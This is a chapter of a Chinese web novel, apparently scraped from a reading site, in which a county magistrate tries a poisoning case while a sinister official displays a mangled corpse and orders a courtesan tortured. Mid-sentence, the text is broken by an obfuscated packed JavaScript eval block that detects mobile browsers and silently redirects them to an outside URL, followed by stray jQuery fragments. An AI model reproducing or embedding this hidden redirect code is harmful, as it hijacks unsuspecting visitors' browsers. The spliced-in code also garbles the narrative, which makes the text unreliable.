文趣网 > 其他小说 > 无尽灯 > 24. 堂审(一)
    建康县衙的正堂后,主座上的人玄衣锦带、容貌艳治面中含笑,正是杜晦月。

    侧手副座上的人一身朱红官袍,头戴进贤黑冠,面容微丰,此刻两鬓间滚落豆大的汗珠。他双眼圆瞪,嘴唇上下开合几下终是开口道:“杜主事说……说她跑了?”

    “柳明府不信咱家说的?”杜晦月懒散地斜倚着椅子,分毫未动,只将一双眼睛斜斜的睨过去。

    柳文恭听了这话,连忙站起来躬身赔笑:“不敢不敢,杜主事所言怎能有假。只是……这样一来,谋害中尚方令一案,下官该如何下手审问啊?”

    杜晦月勾唇笑道:“柳明府既如此明事理,咱家自不会令你为难。”

    “是,是,下官多谢主事体恤。”柳文恭头埋得更低,连连开口道谢,随后小心翼翼地试探问:“本案涉朝中官员,按理说今日堂审除了杜主事外,朱衣台那位令使是不是……”

    “呵。”杜晦月闻言冷笑一声,当即打断:“不过一介北魏质子,有什么值得顾虑的。”

    有了杜晦月的表态,柳文恭这下高悬的心稍稍落地,不敢再多做言语,又客套着谢了几句,便收齐卷宗往堂前而去。

    他曾是丹阳郡的主簿,政绩平平好在无过错,加之他平生最擅逢迎,还是一派听话好摆布的驾驭,最终苦熬多年才受刺史一路推举为建康令。

    谁知到了京中后,才发觉这浑水更是深不见底。

    只要涉及侦缉刑狱便有玄鸦司、朱衣台两方先于建康县行事,虽说这官阶上他们几人差别不大,可轮实权上,他远不及那二边的主事与令使。

    这杜主事据言是宫中宠臣舍人的义子,从那位舍人手中接过来的不止有玄鸦司,还有那狠辣至极的手段,早已引得京中官员忌惮。

    而那位朱衣台的令史,是位从北魏而来的质子。听闻那世子来齐已有十余年,虽私下朝臣口中多有轻视贬低之意,但如今朝廷与北魏邦交正是处于微妙平衡,更是万万得罪不得。

    不过这世子却据说前些年因病伤了身,而后便很少出现在众人面前。

    别说是这类办案庭审,甚至于宫中宴席,他这六品建康令都赫然在列,而那位世子却不在席中。长此以往,朱衣台声势日渐衰微,京中刑案侦缉的权柄也多落在玄鸦司手中。

    柳文恭哪边都开罪不起,以至于他一个建康令夹在中间免不了左右逢源,比先前还要小心谨慎,心中更是苦不堪言。

    辰时降至,堂前的皂隶分列两侧,建康县衙外早已人山人海、水泄不通,外头的百姓都挤在一起窃窃私语。

    官员在自己府内遭人暗害,此等案足以引来众人围观,尤其坊间更有消息说,那行凶之人是一名看着格外柔弱的女子,关于其中曲折隐情的猜测,也成了众人茶余饭后的闲聊。

    只见那县令端坐在堂中主位,重重一拍案上惊堂木,底下哗然声音稍降,柳文恭方才正色朗声道:“今有少府中尚方令张奏,在府中遇害身亡一案。张奏身列七品,乃宫廷近臣,供职内府,行此凶案人神共愤!本县今日当堂勘审,彻查凶案原委。”

    话音落下,堂内嘈杂声彻底歇止,柳文恭下意识往左手边看去,那里常设摆两把椅子,一个坐着方才出来的杜晦月,另一个却空置着,正是给那朱衣台世子所留之位。

    想到方才杜晦月所说的话,他心下稍安,朝着堂下肃容开口:“带人犯!”

    谁知满堂皂吏彼此间你看看我,我看看你,谁也没动一步,外头看热闹的百姓见状,又渐渐响起交谈私语声,柳文恭冷汗淋淋,心中暗骂一声,面上却不敢流露分毫,不得不连连向杜晦月投去求助的目光。

    杜晦月这才慢条斯理起了身,朝着柳文恭颔首一笑,说道:“柳明府莫怪,玄鸦司昨日奉令捉拿犯人。为免柳明府辛劳,咱家昨儿夜里欲先一步提审,谁知那女子看着身形柔弱,实则万分狡诈,趁我司不备时寻机逃走了。”

    柳文恭立刻堆满笑意应和,随后又面露难色地开口:“多谢杜主事体恤,可这……”

    “柳明府不必为难,那女子逃走,咱家即刻派出玄鸦司,已然将那女子重新拿获归案。”杜晦月笑意冰冷,眉宇间更是说不出的森寒,他坐回椅子上,挑声道:“来人呐,把人抬上来。”

    吩咐声刚落下,两名玄衣卫便从外头进来,只见二人不发一言,合力扛着一卷裹得严实的粗草席。

    二人径直走到堂中,便松手任由那草席滚落在地上,草席就地滚动两圈便彻底展开,里面赫然露出一个女性尸身。顷刻间满堂哗然,惊呼声此起彼伏,公案后的柳文恭更是大惊失色,扶案而起连连后退。

    再细看那尸身,虽穿有一女性衣裙,实则却面目全非、血肉模糊,躯体也肿胀扭曲,皮肤青紫一片,瞧着十分阴森恐怖,根本辨不清原本容貌,更无从确认究竟是不是那名女犯。

    柳文恭战战兢兢坐回去,眼神在那女尸上徘徊片刻,硬着头皮问道:“杜主事,这是?”

    杜晦月眼皮都未抬,端详着自己的指甲,随口说:“柳明府急什么,去把那个共犯也压上来。”

    玄衣卫闻声而动,不假多时,便又提来一个人。玄衣卫松开手,此人便无力般瘫软在地,她发髻散乱,衣裙早已不复先前光鲜,围观人中有人一眼看出:“这……这不是玉笙坊的窈娘吗?”

    “还真是,我早前就听说有玄鸦司的人去了玉笙坊,原来是她?”

    “我记得之前有个官员最爱听窈娘弹琴,当时还说早晚能就给赎身了,是怎么回事?”

    “那官员不就是死的那个吗?”

    “如此说来,看来多半情杀啊……”

    柳文恭本就因为下面坐着的祖宗忧愁不已,听道到这些更是心中烦乱,连连拍了几下惊堂木:“安静!安静!堂下何人?”

    周遭的议论声不绝入耳,窈娘却一眼见到那地上的尸体,瞬间面色灰败,浑身颤栗起来,宛若残花将谢,听见上头的问话,她才微微回过神答道:“奴家……奴家乃玉笙坊琴师。”

    “你身侧的那具尸身可是你本案中的同伙?”

    “是……不,不是。”窈娘用力地摇着头,“奴家不曾犯案,更没有同伙!”

    柳文恭转而问道:“那昨夜你们可曾见过?又说了什么?”

    窈娘垂下头,努力回忆道:“昨夜里玄鸦司去狱中将这位娘子带走了,说是要先行审讯,我们……我们什么都没说。”

    如此说辞便是和杜晦月所说的相同,也算是给此事一个台阶下。柳文恭偷偷瞅了眼下面人的脸色,略拂去额头上的汗继续问道:“那你看这尸身可是你口中那被带走的娘子?”

    窈娘僵硬着看了一眼便迅速回过头,干呕几声眼泪汹涌而出,咳了许久才断断续续道:“奴家不知道,大人,奴家真的认不出来。”

    柳文恭自己都觉得那尸体可怖,瞧一眼都头皮发麻,也不想继续勉强,旁敲侧击问道:“那衣着可能对上?”

    昨夜那双皎灿若星的眼睛犹在眼前,连同那些话

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599219|204854||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    语此刻也萦绕耳畔,令窈娘再次鼓足勇气,看向那具尸体。那尸体月白的衣袍与昨夜的身影重叠,窈娘心头酸涩凄然,勉强开口:“回大人话,对得上。”

    柳文恭心底终于松下一口气,看下手的主簿将窈娘的话都一一记录完,便清咳一声开口道:“张奏死在家中,仵作验尸其咽喉处肿胀乃窒息而死,张府下人供述,当日张奏未进饮食,只在屋中点着香,除此之外再无其他。”

    说到这里他话锋一转,厉声喝道:“大胆妇人,还不认罪!”

    窈娘被吓了一跳,却还是强忍着心头恐惧,颤着声音开口:“奴家不曾害人,求大人明鉴!”

    “不曾害人?”柳文恭眉毛一挑,他对这种拒不认罪的场面司空见惯,当即摆手吩咐:“带证人上来。”

    随后带上来的是一个面上谄媚更甚的妇人,身着藕紫色的长袍,挽着规整的发髻,一进了堂中便麻利地跪下磕头:“见过大人,老奴姓杜,是张家管事婆子,平日负责照料我家主君起居。”

    “公堂之上,有何指证照实说来,若有欺瞒,本官决不轻饶!”

    杜嬷嬷连忙道:“是是是,老奴绝不敢欺瞒大人!”

    “张奏中毒当日,可做了些什么?”

    “我家主君患有失眠之疾,那几日更是憔悴得很,什么也不肯吃不肯喝,除了书房点着的香,再无旁的值得注意的。”

    “哦?”柳文恭目光犀利,当即问道:“那点的香从何而来的?”

    “回大人,那日主君点着的,正是窈娘所赠的安神香。”

    窈娘闻此立刻惊声叫道:“你胡说!我赠予不过是一日分量,如何能点得那么多日!”

    “娘子有所不知,我家主君有这种习惯在。凡是所用之香,都要特意留出一半,若焚之有效,也可后续寻人去制。”杜嬷嬷坦言说:“那日也是主君被失眠折磨得实在没法了,才将剩下那一半香也给点了。”

    “那如此说来,这香第一次点时张奏可有什么症状?”柳文恭将二人所说的话来回琢磨了片刻,才开口问道。

    “第一次用后,主君睡得很好,所以才觉得此香有效。”杜嬷嬷仔细回忆道,随后又苦着脸补充:“如今想来,主君也不知那日是昏迷还是真的睡着了。”

    柳文恭点点头,转向窈娘:“这香,可是那个名叫‘妙真’的人给你的?”

    “是。”窈娘期期艾艾地回答道:“可是大人,此香奴家自己也用了三日,根本无事发生啊。”

    “你自己也用了?”柳文恭眼睛一亮,正欲继续问,这听左侧传来一声清咳。他转头看过去,只见杜晦月端着茶杯轻轻吹起,一双眼却抬着幽幽地盯着他,这眼神令他想起来丛林里的毒蛇,柳文恭只觉得浑身冰冷,不再继续问下去。

    杜晦月抿了口茶,开口说:“柳明府这案子怕是要审到酉时才罢休啊。”

    “杜主事说笑了,只是如今线索尚不清晰,所以才……”柳文恭连忙起身,小心开口。

    “今日咱家也有兴致,就来教教柳明府。若有人犯死不认罪,便该行些手段。“杜晦月撂下茶杯,手随意搭在膝盖上,细着声音道:“来人,上刑。”

    窈娘登时惨白了脸,哆嗦着要开口,却感觉嗓子像是塞了棉花似的,一句话都说不出口,眼瞅着那皂隶抬着板子越走越近,堂外忽而传来阵阵击鼓声。

    鼓声未落,重若沉雷。恰如那曲《霹雳引》的中调,千军压阵,铿锵如铁,宛若为阵前将士吹响鼓舞的号角。